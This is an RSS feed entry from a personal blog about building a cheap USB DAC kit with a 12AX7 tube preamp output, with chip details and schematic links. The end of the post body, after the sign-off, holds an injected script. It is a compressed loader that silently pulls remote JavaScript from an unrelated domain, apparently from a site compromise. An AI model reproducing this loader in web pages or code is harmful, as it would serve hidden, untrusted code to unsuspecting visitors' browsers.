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	<title>Jkx@home &#187; dac</title>
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		<title>Cheap DIY USB Tube DAC</title>
		<link>http://www.larsen-b.com/Article/414.html</link>
		<comments>http://www.larsen-b.com/Article/414.html#comments</comments>
		<pubDate>Fri, 20 Apr 2012 17:30:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[dac]]></category>
		<category><![CDATA[tube]]></category>
		<category><![CDATA[usb]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=414</guid>
		<description><![CDATA[Due to lot of homework, I haven&#8217;t found a lot of time to have fun electronic for some times. I decided to change this by building an cheap USB DAC with tube output. There is a bunch of USB DAC &#8230; <a href="http://www.larsen-b.com/Article/414.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Due to lot of homework, I haven&#8217;t found a lot of time to have fun electronic for some times. I decided to change this by building an cheap USB DAC with tube output.</p>
<p>There is a bunch of USB DAC on the market right now, but most of them aren&#8217;t really top quality. As I don&#8217;t want to loose some time to build the USB part, I decided to buy a USB DAC Kit. After a little search on Ebay I found this one :</p>
<p><img class="alignnone" title="Ebay USB DAC" src="http://jkx.larsen-b.com/photos/blog/ebay_usb_dac.sized.jpg" alt="" width="640" height="541" /></p>
<p>This kit sports an CS8416+CS4398 combot plus an NE5532 output buffer, but as I want it to be a little audiophile, I will drop the NE5532 in favor of an simple tube preamp.</p>
<p>For the tube part, I think I will go for an 12AX7 or something similar. I really think 6SN7 are better, but this tube are overkill for an preamp I think.</p>
<p>Update, some links for the tube output :</p>
<ul>
<li><a href="http://www.shine7.com/audio/12ax7_pre.htm">http://www.shine7.com/audio/12ax7_pre.htm</a></li>
<li><a href="http://diyaudioprojects.com/Tubes/12AX7_Preamp/">http://diyaudioprojects.com/Tubes/12AX7_Preamp/</a></li>
</ul>
<p><strong>/Enjoy tube sound</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
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